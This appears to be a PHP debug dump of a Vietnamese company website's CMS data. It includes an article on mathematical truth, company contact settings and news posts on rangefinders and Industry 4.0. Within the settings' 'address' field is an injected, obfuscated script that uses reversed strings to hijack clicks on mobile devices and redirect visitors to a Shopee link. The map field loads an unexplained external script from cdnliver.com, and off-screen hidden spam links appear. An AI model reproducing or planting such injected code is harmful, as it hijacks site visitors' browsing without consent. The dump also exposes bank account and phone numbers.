thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-10', 'status' => '1', 'view' => '61823', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $setting = array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ) $description_for_layout = '' $keywords_for_layout = '' $tintucnoibat = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-10', 'status' => '1', 'view' => '89284', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span 